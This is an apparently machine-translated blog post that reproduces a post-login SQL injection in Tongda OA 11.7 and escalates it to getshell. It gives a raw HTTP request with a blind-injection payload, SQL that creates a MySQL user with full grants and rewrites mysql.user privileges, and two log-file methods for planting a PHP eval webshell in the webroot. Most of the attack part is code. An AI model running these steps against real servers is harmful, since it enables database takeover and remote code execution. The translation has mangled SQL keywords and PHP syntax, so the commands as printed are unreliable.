Descripción de la vulnerabilidad 0x00
Tongda OA 11.7 tiene inyección SQL
0x01 Versión afectada por la vulnerabilidad
Maestría oa 11.7
Condiciones de uso: es necesario iniciar sesión en la cuenta
0x02 Recurrencia de la vulnerabilidad
1. Descargue Tongda OA 11.7, https://cdndown.tongda2000.com/oa/2019/TDOA11.7.exe, haga clic para instalar
2. Hay una nota ciega booleana para el parámetro condition_cascade
POCO:
GET /general/hr/manage/query/delete_cascade.php?condition_cascade=select if((substr(user(),1,1)='r'),1,power(9999,99)) HTTP/1.1
Host: 192.168.77.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
X-Requested-With: XMLHttpRequest
Referer: http://192.168.77.137/general/index.php?isIE=0&modify_pwd=0
Cookie: PHPSESSID=ebpjtm5tqh5tvida5keba73fr0; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c71fa06d
DNT: 1
Connection: close
3. Después de la prueba, filtre algunas funciones (suspensión, funciones de informe de errores, etc.), varios comentarios y use la carga útil: seleccione si ((1 = 1), 1, potencia (9999,99)), seleccione si (( 1) = 2), 1, potencia (9999,99)), juzga el punto de inyección # Cuando los caracteres son iguales, no se informará ningún error y se informará un error cuando ocurra un error
4. Al agregar el usuario at666, la contraseña es abcABC @ 123
conceda todos los privilegios en mysql. * A 'at666' @ '%' IDENTIFICADO POR 'abcABC @ 123' CON OPCIÓN DE GRANT
5. Utilice Navicat Premium para conectarse a la base de datos
6. La cuenta agregada no puede escribir archivos directamente a través de una consulta lenta de registro. Debe agregar permisos a la cuenta creada
UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('at666' AS Binary(5));
7. Luego use el punto de inyección para actualizar los permisos, porque el usuario no tiene derecho a actualizar los permisos.
general / hr / manage / query / delete_cascade.php? condition_cascade = privilegios de descarga;
8. Inicie sesión nuevamente, indicando que la contraseña ha expirado, debe volver a ejecutar la concesión de todos los privilegios en mysql. * TO'at666 '@'% 'IDENTIFICADO POR'abcABC @ 123' CON OPCIÓN DE GRANT
9. Luego escribe la cáscara
método uno:
seleccione @@ basedir;
establecer global slow_query_log = activado;
establecer global slow_query_log_file = 'C: /tongda11.7/webroot/test.php';
seleccione '<? php eval ($ _ POST [x]);?>' o dormir (11);
Método dos:
seleccione @@ basedir;
establecer global_log = on;
set global general_log_file = 'C: /tongda11.7/webroot/test2.php';
seleccione '<? php eval ($ _ POST [prueba2]);?>';
mostrar variables como '% general%';
10. Conexión del helicóptero
Enlace de referencia 0x03
Referencia: https://mp.weixin.qq.com/s/8rvIT1y_odN2obJ1yAvLbw
Indique: Blog de Adminxe » Tongda OA 11.7 Inyección SQL en segundo plano Recurrencia de la vulnerabilidad getshell